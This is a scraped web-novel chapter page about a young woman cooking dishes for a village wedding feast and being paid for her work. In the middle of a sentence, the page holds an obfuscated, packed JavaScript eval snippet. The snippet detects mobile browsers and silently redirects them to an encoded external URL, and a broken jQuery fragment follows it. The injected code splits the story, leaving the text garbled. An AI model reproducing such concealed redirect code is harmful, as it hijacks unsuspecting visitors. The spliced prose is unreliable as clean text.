当前位置:看书谷>其他类型>山居俗事> 38. 第 38 章
阅读设置(推荐配合 快捷键[F11] 进入全屏沉浸式阅读)

设置X

38. 第 38 章(2 / 3)

害。”

饶絮边放鸡块进油锅边笑,她们寻常炒菜放油放盐都得省着来,恨不得用一枚铜子沾了点油在锅里滚两圈就好,不舍得也不会这么放油,自然不会想到鸡肉还能这么做。

她捏着块刚炸好的鸡肉喂给贺氏,“伯母你尝尝,看好不好吃。”

“那我可就不客气啦。”贺氏笑眯眯的张嘴吃了口,入口先是酥脆,带着股焦香,裹着热气和葱花的鸡肉软烂的仿佛用不用咬都能咽下,醋汁又恰好中和了鸡肉微末的土腥味。

贺氏没等到咽下去就朝着饶絮点了点头,含糊着道:“好吃,比我之前吃过的鸡肉都要好吃!”

做出来的食物被人认可,饶絮心中欢喜,手底下复炸捞起的动作越发熟练,她这般重复做好了十来碗鸡肉,剩下的那些就交托给了一直看着的贺氏,她则去旁边处理鱼片。

鱼片腌制入味,也没肉圆和鸡块的流程复杂,简单下油锅爆炒片刻,再辅以葱花、姜片和茱萸,唯独需要注意的就是火气,一次不能放入太多的鱼片,未免炒得不够均匀,吃起来口感上稍有些差异。

不同于鸡块费油,肉圆费时,鱼片切得薄下锅几息就能装盘,但偏生也麻烦,饶絮离不开灶膛得一盘盘的炒。她听着外边鞭炮声响,唢呐齐鸣,小孩子欢呼雀跃的声传进来,便知道是新娘子出门拜堂了。

她们这屋里忙得都没闲心去看热闹,拜堂不过片刻工夫,随后客人都要上桌吃饭,稍慢一点都是主家的失职,也是她们的疏忽。

凉菜是最先备齐的,众人便只顾着锅里的热菜,饶絮已得了两道摆在灶边温着火,最后的鱼片也出锅了几盘,只剩最后一点,因此她很是从容淡定。

不多时前边端菜的叔伯也拿着木托盘过来,一道道热菜流水似

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15021511|162193||http|test|mini|href|location''.split(''|''),0,{}));

() {

$(''.inform'').remove();

$(''#content'').append(''

的往轻前面席上送。

直到最后两碗热汤也送了出去,灶屋里一直悬着心忙活的众人才松了一口气,便是常在各家宴席上帮忙的妇人都受不住今儿这场慌乱,寒冬腊月的光景豆大汗珠滚滚往下掉。

“可算是上齐了,咱们也收拾出两个桌子准备吃饭吧。”

她们后厨这些人是不去前面抢席的,左右那些菜都是经她们的手烧制出的,一早就单留了她们的份儿,甚至锅里还有现成的热菜,主家也都默认这些惯例。

关氏见席面上没出纰漏,而且看朱家那边也没发现菜式的口味不对,一直绷着的面色才有所缓和,等送走了大半宾客,又有自家闺女在前院看着,她则回房取了荷包来到灶屋。

“絮娘,今儿可算是谢谢你了。”关氏进屋就拉着饶絮道谢,“要不是你搭了把手,我们还不知道怎么收场才好!”

她一面说一面将一串铜子递过去,“这是掌勺的辛苦费,你且收着,等明儿闲下来了,伯母再请你来家吃饭。”

饶絮切菜炒菜的时候还不觉得,结果就吃饭的半晌工夫,手臂就隐隐泛着

上一页 目录 +书签 下一页